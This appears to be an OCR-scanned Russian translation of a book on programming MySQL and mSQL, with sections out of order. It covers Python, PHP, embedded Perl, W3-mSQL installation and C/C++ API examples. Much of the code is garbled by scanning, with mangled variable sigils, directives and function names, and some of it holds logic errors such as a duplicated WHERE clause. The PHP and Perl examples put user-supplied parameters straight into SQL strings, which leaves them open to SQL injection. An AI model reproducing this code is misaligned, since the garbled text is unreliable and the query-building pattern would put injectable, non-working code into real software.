    В большинстве случаев различие в типе возвращаемых значений несущественно: кортежи не могут изменяться. Код в большинстве случаев одинаков. Тем не менее следует помнить, что строки MySQL являются списками, а строки mSQL - кортежами, на случай, если вы столкнетесь с ситуацией, где это различие существенно. В примере 11-1 приводится простая Python-программа, обращающаяся к базам данных MySQL и mSQL и выводящая результаты.

    Пример 11-1. Обработка запросов в Python дд,я mSQL и MySQL

    #!\/usr/local/bin/python

    # Импорт модулей import Msql, MySQL;

    # Инициализация значений database и query

    database = 'db_test';

    query = 'SELECT test_id, test_val FROM test';

    # Соединение с серверами msql = mSQL.connect();

    mysql = MySQL.connect();

    # Выбор тестовых баз данных msql.selectdb(database);

    mysql.selectdb(database);

    # Выполнение запроса

    m_result = msql.query(query);

    my_result = mysql.do(query);

    #Обработка результатов для mSQL

    for row in m_result:

    # Здесь row является кортежем

    print "mSQL- test_id: ",row[0]," test_val: ",row[1];

    # Обработка результатов для MySQL

    for row in my_result:

    ft Здесь row является списком

    print "MySQL- test_id: ",row[0]," | test_val: ",row[1];

    # Закрыть соединение (только mSQL)

    msql.close();

    Для обеих баз данных, MySQL и mSQL, приложение просматривает в цикле каждую строку результирующего набора и выводит ее данные. В mSQL первый элемент кортежа представляет первую колонку запроса, а второй элемент - вторую колонку. Аналогично, первый элемент в списке MySQL представляет первую колонку запроса, а второй элемент - вторую колонку.

    Обновление

    Обновление, вставка и удаление в базе данных производится с помощью того же метода API, что и запросы, - просто не требуется обрабатывать результирующий набор. Иными словами, вызовите query() или do(), и больше ничего не требуется. В MySQL есть дополнительная возможность возврата значения AUTO_INCREMENT , если в затронутой таблице есть поле с атрибутом AUTO_INCREMENT .



    Альтернативные методы создания динамического содержания Web

    Впервые то, что сейчас мы называем Dynamic HTML, появилось в Web в виде Server Side Includes (SSI) - "включений на стороне сервера". В основе SSI лежит та мысль, что есть ряд часто встречающихся величин, таких как текущие дата и время, которые включать в HTML-страницу полезно, но непрактично, поскольку они очень часто изменяются. SSI дает способ, которым HTML-страница может потребовать от сервера включить в нее значения таких параметров перед тем, как послать страницу конечному пользователю. Благодаря этому параметр всегда имеет текущее значение, а создателю страницы нет необходимости непрерывно ее обновлять. Типичная директива SSI на странице HTML выглядит так:

    Saturday, 03-Jan-2026 06:47:43 MSK

    Проблема SSI в том, что набор данных, который сервер может легко предоставить, очень ограничен. Сверх даты, времени и способности включать другие файлы остается не много возможностей без того, чтобы сам веб-сервер не начал серьезно разрастаться.

    Вскоре стало ясно, что если сам веб-сервер не обеспечивает динамического HTML, он может появиться только из двух источников. Либо клиент, то есть веб-броузер, интерпретирует команды, либо какая-нибудь другая программа на сервере осуществляет предварительную обработку команд, выдавая конечному пользователю чистый HTML.

    Первый путь привел к JavaScript и аналогичным технологиям. В JavaScript, как и в SSI, команды встраиваются в HTML. В отличие от SSI, сервер не трогает команды JavaScript, их обрабатывает броузер. Такой способ предоставляет значительно лучшее взаимодействие с пользователем. Например, JavaScript позволяет определить действия, которые должны производиться при перемещении пользователем мыши над различными участками экрана. Благодаря этому удается создать ощущение непосредственности и интерактивности, недостижимые другими средствами. Вот пример типичного кода JavaScript:



    Трудность, вызываемая решениями, работающими только на стороне клиента, такими как JavaScript, состоит в том, что, как только клиент заканчивает загрузку страницы, связь с сервером теряется. Очень часто на сервере располагаются ресурсы, например, серверы баз данных, с которыми хотелось бы взаимодействовать. Однако сценарии, выполняемые на стороне клиента, обычно делают невозможной или неэффективной связь с сервером или другой удаленной машиной после того, как страница загружена. Такого рода функциональность больше соответствует решениям на стороне сервера.


    При наличии интерпретатора на стороне сервера документ HTML просматривается перед тем, как быть отосланным конечному пользователю. Какая-либо программа, обычно программа CGI, выявляет и выполняет программный код, встроенный в HTML. Преимущество такой системы в том, что используется мощь CGI-программы и значительная доля сложности остается скрытой.

    Предположим, что есть морская организация с базой данных об акулах. База данных содержит важную статистику по различным видам акул, а также имена файлов с изображениями этих тварей. Для создания веб-интерфейса к этой базе данных идеально применим HTML с интерпретацией на сервере. Все выходные страницы с информацией о выбранном виде акулы имеют идентичный формат. В местах, где требуются динамические данные из базы, можно вставить команды, которые будут выполнены до того, как пользователь увидит страницу. Можно даже генерировать динамические теги для показа желаемых изображений. Позднее в этой главе мы покажем, как можно реализовать этот пример с помощью различных интерпретаторов на сервере.



    и другие средства поддержки HTML,

    PHP и другие средства поддержки HTML, управляемого базами данных

    Есть несколько простых в использовании программных расширений HTML, обеспечивающих поддержку доступа к серверам баз данных MySQL и mSQL с веб-страниц. В этой главе мы начнем с W3-mSQL -средства для mSQL. Затем покажем менее связанный с конкретной базой данных подход с помощью РНР и двух небольших расширений Perl. Имеющийся в W3-mSQL язык сценариев Lite позволяет встраивать в HTML-файлы целые программы. CGI-программа выполняет сценарий и посылает клиенту результат в виде динамически создаваемого документа HTML.

    Поскольку W3-mSQL и другие расширения, рассматриваемые в данной главе, используют собственные языки сценариев и скрывают всякие признаки использования CGI, в этой главе не требуется знания предшествующего материала данного раздела. Однако при чтении главы может оказаться полезным понимание того, как работает CGI, a также наличие некоторого предшествующего опыта программирования (Lite сходен как с С, так и с Perl).



    РНР

    По самой своей природе W3-mSQL узко специализирована для использования с СУБД mSQL. Если вы используете MySQL или же W3-mSQL не покрывает всех ваших потребностей, то есть другие препроцессоры HTML, предлагающие поддержку баз данных.

    РНР, что означает "PHP: Hypertext Preprocessor" (препроцессор гипертекста), является приложением, очень близким по духу W3-mSQL. Оба приложения являются CGI-программами, интерпретирующими HTML перед отправкой броузеру окончательной страницы. Оба имеют встроенный язык сценариев. Более того, в обе программы тесно интегрированы возможности работы с базами данных. Однако РНР идет дальше W3-mSQL, предлагая совместимость с несколькими серверами баз данных, включая MySQL и mSQL.

    Язык сценариев РНР более богат и может использоваться в большем числе приложений, чем W3-mSQL. Короче, предпочтительнее использовать РНР, если только вы не привязаны к использованию mSQL в качестве сервера баз данных. В последнем случае более удобной для вас будет некоторая оптимизация, имеющаяся в W3-mSQL.

    С использованием РНР пример с базой данных по акулам может выглядеть так:

    <НТМL>

    <НЕАD>Результат поиска акул



    <Н1> Вот акулы, удовлетворяющие условиям поиска...

    <Р>
    /* Начинаем построение запроса. В результате типичный запрос

    * может выглядеть так:

    * SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2 */

    $query = "select * from sharks where ";

    if ($species || $age || Slocation) {

    $query += " where "; }

    if ($species) { $query += "species = '$species'";
    }
    if ($age) {

    if ($species) { $query += " and "; }

    $query += "age = Sage";

    }

    if ($location) {

    if ($species || $age) { Squery += " and "; } $query += "location = '$location'";

    }

    $result = msql("sharks",Squery);

    if (result == -1) {

    echo("Error : $phperrmsg\n");

    exit(1); }


    Snumresults = msql_numrows($result);

    >




    if (! $numresults ); >

    <Н2> Результатов не найдено


    else {

    while-($i < $numresults) {

    $id[$i] = msql_result($result,$i,"id");

    $species[$i] = msql_result($result,$i,"species");

    $age[$i] = msql_result($result,$i,"age");

    $loc[$i] = msql_result($result,$i,"location");

    echo("
  • ");

    printf("", $id[$i]); echo("<В>Вид: $species[$i]
    ");

    if ($age[$i] == 1) { $age = "Молодые"; }

    else if ($age[$i] == 2) { $age = "Взрослые"; }

    else if {$age[$i] == 3) { $age = "Старые"; }

    echo("Age: $age
    ");

    echo("Paйoн $location[$i]
    ");

    }

    }

    }



    Hoый поиск





    Встроенный Perl

    Несколько модулей Perl и соответствующих программ позволяют встраивать код Perl в документ HTML. Перед отправкой окончательной страницы HTML броузеру этот код выполняется CGI-программой.

    Наиболее очевидное преимущество таких решений перед W3-mSQL и РНР заключается в том, что в качестве языка сценариев в HTML-файле используется обычный Perl. Будучи простыми в изучении и схожими по стилю с С и Perl, языки сценариев Lite и РНР все же являются уникальными патентованными языками, используемыми лишь с единственной целью. Напротив, Perl практически вездесущ. Это стандартный язык программирования, отлаживавшийся на протяжении многих лет и обладающий развитыми возможностями в отношении безопасности. В пользу такого типа решений есть убедительные аргументы.

    ePerl

    Первым приложением, позволившим встраивать код Perl в текст ASCII и, в частности, в документ HTML, был ePerl. Сама программа ePerl написана на С и предназначена для использования в качестве интерпретатора Perl общего назначения для документов ASCII. Она прекрасно работает с HTML, но не имеет специфических для HTML или веб-возможностей, предоставляемых некоторыми другими пакетами.

    EmbPerl

    Программа EmbPerl создана позднее, чем ePerl, и более ориентирована на HTML и Web. Она позволяет использовать дополнительные "метакоманды" - теги в стиле HTML, обрабатываемые EmbPerl, - которые вводят в сам HTML возможности ветвления и другие элементы программирования .

    В качестве примера встраивания кода Perl в файл HTML рассмотрим форму для вывода данных из базы данных по акулам, приводившуюся выше. Мы будем использовать в нашем примере EmbPerl, но поскольку используется стандартный Perl, код практически одинаков для различных средств встраивания Perl.



    <НЕАD><ТIТLЕ>Результаты поиска акул



    <Н1> Вот акулы, удовлетворяющие условиям поиска...

    <р>

    [-

    use Msql;

    use CGI qw(:standard);

    $dbh = Msql->connect; $dbh->selectdb("sharks");


    %age = ( '0' => 'Молодые',

    '1' => 'Взрослые',

    '2' => 'Старые'

    );

    # Начинаем построение запроса. В результате типичный запрос

    # может выглядеть так:

    # SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2

    $query = "select * from sharks where ";

    if ( Sspecies or Sage or $location) {

    $query .= " where ";

    $query .= join(" and ", param); }

    Sresult = $dbh->query($query);

    if (result == -1) {

    echo("Error : " . Msql->errmsg . "\n");

    exlt(l);

    }

    Snumresults = $result->numrows;

    -]



    [$if (! Snumresults ) $]

    <Н2>Результатов не найдено [SelseS]

    [Swhile (%shark = $Msql->fetchhash($result)) $]





  • <В>Вид: [+$shark{'species'}+]

    <В>Возраст: [+$age{$shark{'age'}}+]

    <В>Район [+$shark{'location'}+]


    [;endwhile$] [;endif]

    Hoвый поиск



    W3-mSQL

    W3-mSQL является, в сущности, одной программой CGI, называющейся w3-msql. Программа фильтрует страницы HTML со встроенными командами W3-mSQL и посылает клиенту очищенный результирующий HTML. Команды W3-mSQL пишутся на специальном языке программирования, называемом Lite. Lite во многом схож с Perl и С, но разработан специально для взаимодействия с базами данных mSQL. Краткий справочник по функциям Lite есть в конце главы 18 "Справочник по PHP Lite". Для осуществления этого к URL для w3-msql добавляется путь к HTML-файлу, с расширениями W3-mSQL, например, http://www.me.com/cgi-bin/w3-msql/~me/mypage.html.

    Содержимое HTML-файла внутри тега интерпретируется как команды Lite. Например, эквивалент программы "Hello world!" на Lite выглядит так:

    Hello world!




    echo("Hello world!");
    >


    Все, что не находится внутри тегов , остается чистым HTML.

    mSQL автоматически устанавливает программу w3-msql, и вам остается только поместить ее в свой каталог cgi-bin.

    W3-Auth

    W3-Auth является механизмом, обеспечивающим защиту страниц, управляемых W3-mSQL. Он включается вместе с W3-mSQL и устанавливается автоматически с mSQL. С помощью W3-Auth можно создать иерархию пользователей и групп, которым разрешено использовать различные страницы с расширениями W3-mSQL.

    W3-Auth использует три различных уровня доступа: пользователь, группа и область. Пользователь отдельное имя, обычно относящееся к отдельному лицу, примерно как имя пользователя в Unix. Груп па является собранием пользователей. Область является разделом веб-сайта, который вы хотите защитить.

    Такая схема особенно полезна для сайтов со многими виртуальными узлами на одном веб-сервере. Допустим, например, что на вашем компьютере расположены виртуальные серверы с именами serverl, ser-ver2 и server3. Каждое из этих различных имен администрируется различными группами людей. Вы можете создать три разные области, охватывающие эти три сайта, и тогда члены каждой группы будут в состоянии управлять доступом к своей странице с расширениями W3-mSQL, но не смогут вмешаться в управление другими сайтами.


    Установка

    Обе программы, W3-mSQL и W3-Auth, компилируются и устанавливаются автоматически, вместе с дистрибутивом mSQL. После установки они находятся в MSQL_HOME/bin, где MSOL_HOME есть местонахождение файлов mSQL - по умолчанию /usr/local/Hughes. Исполняемые файлы w3-msql и w3-auth нужно скопировать в каталог cgi-bin вашего сервера или эквивалентный ему.

    После установки W3-Auth предполагает, что она сама и программа w3-msql находятся в каталоге cgi-bin вашего сайта. Если вы хотите поместить эти программы в другой каталог, нужно вручную изменить исходный код перед установкой mSQL. С помощью Perl это можно сделать следующим образом. Находясь в каталоге src/w3-msql дистрибутива mSQL, введите: perl -pi -e 's/cgi-bin/yourcgidirectory/g' *.c. Другой возможностью сделать то же самое является использование такого сценария:

    #!/bin/sh

    # Запустите это из каталога src/w3-msql своего дистрибутива с исходным кодом mSQL.

    for file in 'Is *.c'; do

    sed -e "s/cgi-bin/$1/" $file > $file.tmp

    mv $file.tmp $file

    done

    Скопируйте этот сценарий в ваш каталог src/w3-msql и введите следующую команду:

    ./scriptname yourcgidirectory

    Здесь scriptname является именем сценария, a yourcgidirectory - именем каталога, который будет содержать исполняемые файлы w3-msql и w3-auth.

    W3-Auth в настоящее время не совместим с распространяемой версией веб-сервера Apache из-за одной небольшой особенности системы безопасности Apache. Apache не позволяет программам CGI иметь доступ к данным авторизации. Без этой возможности ни одна CGI-программа, включая W3-Auth, не может выводить пользователю стандартное окно для ввода имени пользователя/пароля и получать из него результаты. Ввиду важности Apache для сообщества пользователей mSQL, был быстро выпущен патч, позволяющий W3-Auth работать вместе с Apache. После его установки необходимо перекомпилировать Apache. Заметьте, что установка данного патча позволяет любым CGI-програм-мам получать имя пользователя и пароль у посетителей сайта. Если вы доверяете тем, кто имеет доступ к CGI-программам на вашей машине, то подобный метод относительно безопасен.

    Два API

    Используете ли вы С или C++, С API для MySQL и mSQL являются шлюзами к базе данных. Однако их применение может очень различаться в зависимости от того, используете ли вы С или объектно-ориентированные возможности C++. К программированию баз данных на С нужно подходить в последовательном стиле, когда вы пошагово просматриваете свое приложение, чтобы определить, где производятся обращения к базе данных, а где необходимо произвести освобождение ресурсов. Напротив, объектно-ориентированный C++ требует объектно-ориентированного интерфейса к выбранному вами API. Тогда объекты этого API могут взять на себя ответственность за управление ресурсами базы данных.

    В таблице 13-1 сопоставлены вызовы функций каждого API. Детали использования этих функций мы рассмотрим позднее в этой главе. Сейчас вы можете лишь бегло сравнить оба API и отметить, какие возможности они предоставляют. Разумеется, в справочном разделе перечислены все эти методы с подробным описанием прототипов, возвращаемых значений и комментариями.

    Таблица 13-1. С API для MySQL и mSQL

  • $i







    MySQL


    mSQL


    mysql_affected_rows()


    CM. msqlQuery()


    mysql_close()


    msqlClose()


    mysql_connect()


    msqlConnect()


    myql_create_db()





    mysql_data_seek()


    msqlDataSeek()


    mysql_drop_db()





    mysql_eof()





    mysql_error()





    mysql_fetch_field()


    msqlFetchField()


    mysql fetch lengths()





    mysql_fetch_row()


    msqlFetchRow()


    mysql_field_count()





    mysql_field_seek()


    msqlFieldSeek()


    mysql_free_result()


    msqlFreeResult()


    mysql_get_client_info()





    mysql get host_info()





    mysql_get_proto_info()





    mysql_get_server_info()





    mysql_init()





    mysql_insert_id()





    mysql_list_dbs( )


    msqlListDBs()


    mysql_list_fields()


    msqlListFields()





    msqlListIndex()


    mysql_list_processes()





    mysql_list_tables()


    msqlListTables()


    mysql_num_fields()


    msqlNumFields()


    mysql_num_rows()


    msqlNumRows()


    mysql_query()


    msqlQuery()

    <


    mysql_real_query()







    mysql_reload()







    mysql_select_db()



    msqlSelectDB()



    mysql_shutdown()







    mysql_stat()







    mysql_store_result()



    msqiStoreResult()



    mysql_use_result()





    API для MySQL значительно обширнее, чем API для mSQL, ввиду большего числа функций в MySQL. Во многих случаях MySQL фактически только обеспечивает программный интерфейс к функциям администрирования баз данных, которые имеются в той и другой СУБД. Просто изучив названия функций, можно прийти к выводу, что любое разрабатываемое вами приложение баз данных должно, как минимум, делать следующее:

  • Осуществлять соединение.

  • Выбирать БД.

  • Посылать запрос.

  • Получать строку.

  • Получать поле.

  • Закрываться.

    В примере 13-1 показана простая команда select, извлекающая данные из базы данных MySQL с помощью MySQL С API.

    Пример 13-1. Простая программа, извлекающая все данные из тестовой базы и отображающая их

    #include

    #include

    #include

    int main(char **args) {

    MYSQL_RES 'result;

    MYSQL_ROW row;

    MYSQL 'connection, mysql;

    int state;

    /* соединиться с базой данных mySQL на athens.imaginary.com */

    mysql_init(&mysql);

    connection = mysql_real_connect(&mysql,

    "alMens.imaginary.com",

    0, 0,

    "db_test", 0, 0);

    /* проверить ошибки соединения */

    if( connection == NULL ) {

    /* вывести сообщение об ошибке */

    printf(mysql_error(&mysql));

    return 1;

    }

    state = mysql_query(connection,

    "SELECT test_id, test_val FROM test");

    if( state != 0 ) {

    printf(mysql_error(connection));

    return 1; }

    /* прежде чем делать другие вызовы,

    * необходимо вызвать mysql_store_result()

    */

    result = mysql_store_result(connection);

    printf("Строк: %d\n", mysql_num_rows(result));

    /* обработать каждую строку результирующего набора */

    while( ( row = mysql_fetch_row(result)) != NULL )

    {

    printf("id: %s, значение: %s\n", (row[0] ? row[0] : "NULL"), (row[1] ? row[1] : "NULL")); }


    /* освободить ресурсы, использовавшиеся результирующим набором */

    mysql_free_result(result); /* закрыть соединение */

    mysql_close(connection);

    printf("Koнец, работы.\n");

    }

    Назначение файлов mysql.h и stdio.h, включаемых директивой ftinclude, должно быть очевидно. Файл заголовков mysql.h содержит прототипы и переменные, необходимые для MySQL, a stdio.h содержит прототип для printf (). Файл заголовков sys/time.h приложением фактически не используется. Он нужен из-за mysql.h, так как файл для MySQL использует определения из sys/time.h, не включая их. Для компиляции программы с помощью компилятора GNU С используйте командную строку:

    gcc -L/usr/local/mysql/lib -I/usr/local/mysql/include -о select

    select.c\

    -Imysql -Insl -Isocket

    Разумеется, в этой строке вместо /usr/local/mysql нужно задать тот каталог, в который вы установили MySQL.

    Функция main() выполняет те шаги, которые мы перечислили раньше: соединяется с сервером, выбирает базу данных, выдает запрос, обрабатывает его результаты и освобождает использованные ресурсы. По ходу главы мы подробно остановимся на каждом из этих этапов. Сейчас посмотрите на этот код, лишь для того чтобы почувствовать, как он работает. Кроме того, сравните этот пример с той же программой, написанной для mSQL, которая представлена в примере 13-2.*

    Пример 13-2. Простое приложение выборки данных для mSQL

    #include

    #include

    #include

    int main(char **args) {

    int connection, state;

    m_result *result;

    m_row row;

    /* соединиться с базой данных mSOL на athens.imaginary.com */

    state = msqlConnect("athens.imaginary.com");

    /* проверить ошибки соединения */

    if( state == -1 )

    {

    /* вывести сообщение об ошибке, хранящееся в MsqlErrMsg */

    printf(msqlErrMsg);

    return 1;

    }

    else

    {

    /* описателем соединения является значение, возвращаемое msqlConnect() */

    connection = state; }

    /* выбрать используемую базу данных */

    state = msqlSelectDB(connection, "db_test");


    /* опять-таки, -1 указывает на ошибку */

    if( state == -1 )

    {

    printf(msqlErrMsg);

    /* закрыть соединение перед выходом */

    msqlClose(connection);

    return 1; }

    state = msqlQuery(connection, "SELECT test_id, test_val FROM test");

    if( state == -1 )

    {

    printf(msqlErrMsg);

    return 1;

    }

    else

    {

    printf("Строк: %d\n", state);

    }

    /* прежде чем делать новый вызов Query(),

    * необходимо вызвать msqlStoreResult()

    */

    result = msqlStoreResult();

    /* обработать каждую строку результирующего набора */

    while( ( row = msqlFetchRow(result)) != NULL )

    {

    printf("id: %s, значение: %s\n",

    (row[0] ? row[0] : "NULL"),

    (row[1] ? row[1] : "NULL"));

    }

    /* освободить ресурсы, использовавшиеся результирующим набором */

    msqlFreeResult(result); /* закрыть соединение */

    msqlClose(connect ion);

    printf("Конец работы.\n"); }

    Эти программы почти идентичны. Кроме разных имен функций, есть лишь несколько заметных отличий. Сильнее всего бросается в глаза различие в соединении с базой данных, которое проявляется в двух отношениях:

  • В MySQL соединение осуществляется за один шаг, а в mSQL - за два.*

  • Для MySQL требуются имя пользователя и пароль, а для mSQL -нет.

    Как указывалось ранее в этой книге, MySQL поддерживает сложную схему авторизации с именами пользователей и паролями. Напротив, в mSQL применяется простая система, использующая ID пользователя процесса, соединяющегося с базой данных. Более надежная схема MySQL гораздо привлекательнее в среде клиент/сервер, но также и значительно более сложна в администрировании. Для разработчиков приложений она означает необходимость передачи в вызове mysql_real_connect() имени пользователя и пароля при работе с MySQL помимо имени сервера, используемого в mSQL.

    Первый аргумент API для установления соединения с MySQL может показаться необычным. По сути, это способ отслеживать все вызовы, иначе никак не связанные с соединением. Например, если вы пытаетесь установить соединение, и попытка неудачна, вам нужно получить сообщение о соответствующей ошибке. Однако функция MySQL


    mysql_error() требует задания указателя на действующее соединение с базой данных MySQL. Такое соединение обеспечивается изначально созданным нулевым соединением. Однако у вас должна быть действующая ссылка на это значение в течение всего времени существования вашего приложения - вопрос большой важности в более структурированной среде, чем простое приложение вида "соединился, сделал запрос, закрылся". Примеры на C++ далее в этой главе подробнее рассматривают эту тему.

    Два другие различия в API относятся к тому, как производятся обработка ошибок и подсчет числа записей в результирующем наборе. API mSQL создает глобальную переменную для хранения сообщений об ошибках. Из-за многопоточности MySQL такая глобальная переменная не смогла бы действовать в его API. Поэтому в нем используется функция mysql_error() для извлечения сообщений об ошибках, связанных с последней ошибкой, порожденной указанным соединением.

    API для соединения и обработки ошибок - два пункта, в которых MySQL отличается от mSQL для обеспечения функциональности, отсутствующей в mSQL. Подсчет числа результирующих записей в mSQL делается иным способом для обеспечения лучшего интерфейса, нежели предоставляемый MySQL. А именно: при посылке SQL-запроса в msqlQuery() возвращается число задействованных строк (или -1 в случае ошибки). Таким образом, подсчет измененных строк при обновлении и строк в возвращаемом результирующем наборе при запросе используют одну и ту же парадигму. В MySQL же приходится использовать различные парадигмы. При запросе на получение данных нужно передать результирующий набор функции mysql_nuoi_rows() , чтобы получить число строк в результирующем наборе. При обновлении нужно вызвать другую функцию API, mysql_affected_rows() . В то время как msqlQuery() возвращает число строк, удовлетворивших предложению WHERE при обновлении, mysql_affected_rows() сообщает о числе фактически измененных строк. И наконец, в mSQL есть метод msqlNumRows() , обеспечивающий тот же интерфейс для подсчета результирующего набора, что и в MySQL, но в нем нет аналога для mysql_affected_rows() .



    В этой книге мы рассматриваем

    С и C++

    В этой книге мы рассматриваем несколько разных языков программирования: Python, Java, Perl и С. Из этих языков больше всего трудностей вызывают C/C++. В других языках ваша задача состоит в формировании запроса SQL, передаче этого запроса посредством вызова функции и обработке результирующих данных. В С добавляется очень сложная проблема управления памятью.

    Как MySQL, так и mSQL предоставляют С-библиотеки, позволяющие создавать приложения для работы с базами данных MySQL и mSQL. В действительности API MySQL ведет свое происхождение от mSQL, благодаря чему опыт программирования в одном API позволяет легко перейти к другому. Однако, как мы видели в первой части, MySQL значительно богаче функциями, чем mSQL. Естественно, эти дополнительные функции приводят к некоторым различиям между двумя API. В данной главе мы исследуем эти различия и разберем детали каждого API при создании объектно-ориентированного C++ API, который можно условно компилировать для работы с каждым из двух API.



    Объектно-ориентированный доступ к базам данных на C++

    С API прекрасно работают в процедурном программировании на С. Однако они не очень хорошо вписываются в объектно-ориентированную среду C++. Чтобы показать, как реально использовать в программе эти два API, в оставшейся части главы мы создадим с их помощью C++ API для объектно-ориентированного программирования баз данных.

    Объектно-ориентированный доступ к базам данных на C++
    Рис. 13-1. Библиотека объектно-ориенитрованного доступа к базе данных

    Поскольку мы занимаемся освещением доступа к базам данных MySQL и mSQL, то сосредоточимся на специфичных для MySQL и mSQL темах и не будем пытаться создать совершенный общий C++ API. Работу с MySQL и mSQL описывают три главных понятия: соединение, результирующий набор и строки результирующего набора. Мы будем использовать эти понятия как ядро объектной модели, на которой будет основываться наша библиотека. Рис. 13-1 показывает эти объекты на UML-диаграмме.*

    Соединение с базой данных

    В любой среде доступ к базе данных начинается с соединения. Как вы видели в первых двух примерах, MySQL и mSQL по-разному представляют одно и то же понятие - соединение с базой данных. Создание нашей объектно-ориентированной библиотеки мы начнем с абстрагирования от этого понятия и создания объекта Connection . Объект Connection должен уметь устанавливать соединение с сервером, выбирать нужную базу данных, посылать запросы и возвращать результаты. Пример 13-3 показывает заголовочный файл, в котором объявлен интерфейс к объекту Connection.

    UML - это новый Унифицированный язык моделирования, созданный Гради Бучем, Айваром Якобсоном и Джеймсом Рамбо (Grady Booch, Ivar Jacobson, James Rumbaugh) в качестве нового стандарта для документирования объектно-ориентированного проектирования и анализа.

    Пример 13-3. Заголовок класса Connection

    #ifndef l_connection_h
    #define l_connection_h

    #include

    #if defined(HAS_MSQL)
    #include
    #lelif defined(HAS_MYSQL)
    #include
    #endif

    #include "result.h"

    class Connection { private:

    int affected_rows;

    #if defined(HAS_MSQL)

    int connection;

    #elif defined(HAS_MYSQL)

    MYSQL mysql;

    MYSQL 'connection; tfelse

    #error База данных не определена,

    #endif

    public:

    Connection(char *, char *);

    Connection(char *, char *, char *, char *);

    ~Connection();

    void Close();

    void Connect(char 'host, char *db, char *uid, char *pw);

    int GetAffectedRows();

    char. *GetError();

    int IsConnected();

    Result *Query(char *);

    };

    #endif // l_connection_h

    Методы, которые предоставляет класс Connection, одинаковы вне зависимости от используемой СУБД. Однако спрятанными в глубине класса окажутся закрытые члены, специфичные для той библиотеки, с которой он будет компилироваться. При установлении соединения единственными различными данными-членами станут те, которые представляют соединение с базой данных. Как отмечалось, mSQL для представления соединения использует величину типа int, a MySQL использует указатель на MYSQL и дополнительную величину типа MYSQL для установления соединения.

    Установление соединения с базой данных

    Всем приложениям, которые мы будем создавать с использованием этого API, для соединения с базой данных потребуется только создать новый экземпляр класса Connection с помощью одного из его конструкторов. Аналогично, приложение может отсоединиться, уничтожив экземпляр Connection . Оно может даже повторно использовать экземпляр Connection с помощью прямых обращений к методам Close() и Соnnect(). Пример 13-4 показывает реализацию конструкторов и метода Connect().

    Пример 13-4. Соединение с MySQL и mSQL в классе Connection

    #include "connection.h"

    Connection::Connection(char *host, char *db) {

    #if defined(HAS_MSQL)

    connection = -1;

    #elif defined(HASJIYSQL)

    connection = (MYSQL *)NULL;

    #else

    #error Het соединения с базой данных,

    #endif

    Connect(host, db, (char *)NULL, (char *)NULL); }

    Connection::Connection(char 'host, char *db, char *uid, char *pw) {

    #if defined(HASJISQL)

    connection = -1;

    #elif defined(HASJIYSQL)

    connection = (MYSQL *)NULL;


    #else

    #error Нет соединения с базой данных,

    #endif

    Connect(host, db, uid, pw);

    }

    void Connection: :Connect(char'host, char *db, char *uid, char *pw)

    {

    int state;

    if( IsConnected() )

    {

    throw "Соединение уже установлено.";

    }

    #if defined(HAS_MSQL)

    connection = msqlConnect(host);

    state = msqlSelectDB(connection, db);

    #elif defined (HAS.MYSQL) mysql_init(&mysql);

    connection = mysql_real_connect(&mysql, host,

    uid, pw,

    db, 0, 0); #else

    #error Нет соединения с базой данных.

    #endif

    if( !IsConnected() )

    {

    throw GetError();

    }

    if( state < 0 )

    {

    throw GetError();

    }

    }

    Оба конструктора разработаны с учетом различия параметров, требуемых для соединений MySQL и mSQL. Тем не менее эти API должны разрешать обоим конструкторам работать с каждой из баз данных. Это достигается игнорированием ID пользователя и пароля при вызове конструктора с четырьмя аргументами. Аналогично при вызове конструктора с двумя аргументами, серверу MySQL в качестве значений ID пользователя и пароля передаются значения null. Фактическое соединение с базой данных происходит в методе Connect ().

    Метод Connect() инкапсулирует все шаги, необходимые для соединения. Для MySQL он вызывает метод mysql_real_connect() . Для mSQL жe сначала вызывается метод msqlConnect(), а затем msqlSelectDB() . При неудаче на любом из этапов Connect() возбуждает исключительную ситуацию.

    Отсоединение от базы данных

    Другой логической функцией класса Connection является отсоединение от базы данных и освобождение скрытых от приложения ресурсов. Эту функцию осуществляет метод Close (). В примере 13-5 показано, как происходит отсоединение от MySQL и mSQL.

    Пример 13-5. Освобождение ресурсов базы данных

    Connection::"Connection() {

    if( IsConnected() ) {

    Close();

    } }

    void Connection::Close() {

    if( !IsConnected() )

    {

    return;

    }

    #if defined(HAS_MSQL)

    msqlClose(connection);

    connection = -1;

    #elif defined(HAS_MYSQL)

    mysql_close(connection);

    connection = (MYSQL *)NULL;


    #else

    #error Нет соединения с базой данных, tfendif }

    Методы mysql_close() и msqlClose() освобождают ресурсы, используемые соединениями с MySQL и mSQL соответственно.

    Выполнение обращений к базе данных

    В промежутке между открытием соединения и закрытием базе данных обычно посылаются команды. Класс Connection делает это с помощью метода Query(), принимающего команду SQL в качестве аргумента. Если команда является запросом, она возвращает экземпляр класса Result из объектной модели, представленной на рио. 13-1. Если же команда обновляет данные, то метод возвращает NULL и устанавливает значение affected_rows равным количеству строк, в которых произведены изменения. В примере 13-6 показано, как класс Connection обрабатывает запросы к базам данных MySQL и mSQL.

    Пример 13-6. Обработка запроса к базе данных

    Result "Connection::Query(char *sql) { T_RESULT *res; int state;

    // Если нет соединения, делать нечего

    if( !lsConnected(-) ) { throw "Соединения нет.";

    }

    // Выполнить запрос

    #if defined(HAS_MSQL)

    state = msqlQuery(connection, sql);

    #elif defined(HAS_MYSQL)

    state = mysql_query(connection, sql);

    #else

    #error Нет соединения с базой данных,

    #endif

    // Если произошла ошибка

    if( state < 0 ) { throw GetError();

    }

    // Забрать результаты, если таковые имеются

    #if defined(HAS_MSQL)

    res = msqlStoreResult();

    #elif defined(HAS_MYSQL)

    res = mysql_store_result(connection);

    #else

    #error Нет соединения с базой данных,

    #endif

    // Если результат null, это было обновление или произошла ошибка

    // Примечание: mSQL не порождает ошибки в msqlStoreResult()

    if( res == (T_RESULT *)NULL ) {

    // Установить значение affected_rows равным возвращенному msqlQuery()

    #if defined(HAS_MSQL)

    affected_rows = state;

    #elif defined(HAS_MYSQL)

    // field_count != 0 означает, что произошла ошибка

    int field_count = mysql_num_fields(connection);

    if( field_count != 0 )

    {

    throw GetError();

    }

    else

    {

    // Запомнить affected_rows

    affected_rows = mysql_affected_rows(connection); }


    #else

    #error Нет соединения с базой данных,

    #endif

    //Возвратить NULL в случае обновления

    return (Result *)NULL; }

    // Для запроса возвратить экземпляр Result

    return new Result(res); }

